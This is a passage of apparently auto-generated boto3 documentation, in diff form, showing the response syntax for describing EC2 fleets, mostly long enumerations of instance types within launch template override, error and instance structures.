l'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + }, + ] + }, + ], + 'TargetCapacitySpecification': { + 'TotalTargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'SpotTargetCapacity': 123, + 'DefaultTargetCapacityType': 'spot'|'on-demand' + }, + 'TerminateInstancesWithExpiration': True|False, + 'Type': 'request'|'maintain'|'instant', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'ReplaceUnhealthyInstances': True|False, + 'SpotOptions': { + 'AllocationStrategy': 'lowest-price'|'diversified'|'capacity-optimized', + 'MaintenanceStrategies': { + 'CapacityRebalance': { + 'ReplacementStrategy': 'launch' + } + }, + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate', + 'InstancePoolsToUseCount': 123, + 'SingleInstanceType': True|False, + 'SingleAvailabilityZone': True|False, + 'MinTargetCapacity': 123, + 'MaxTotalPrice': 'string' + }, + 'OnDemandOptions': { + 'AllocationStrategy': 'lowest-price'|'prioritized', + 'CapacityReservationOptions': { + 'UsageStrategy': 'use-capacity-reservations-first' + }, + 'SingleInstanceType': True|False, + 'SingleAvailabilityZone': True|False, + 'MinTargetCapacity': 123, + 'MaxTotalPrice': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Errors': [ + { + 'LaunchTemplateAndOverrides': { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + } + }, + 'Lifecycle': 'spot'|'on-demand', + 'ErrorCode': 'string', + 'ErrorMessage': 'string' + }, + ], + 'Instances': [ + { + 'LaunchTemplateAndOverrides': { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'MaxPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0, + 'Placement': { + 'GroupName': 'string' + } + } + }, + 'Lifecycle': 'spot'|'on-demand', + 'InstanceIds': [ + 'string', + ], + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Platform': 'Windows' + }, + ] + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **Fleets** _(list) --_ + + Information about the EC2 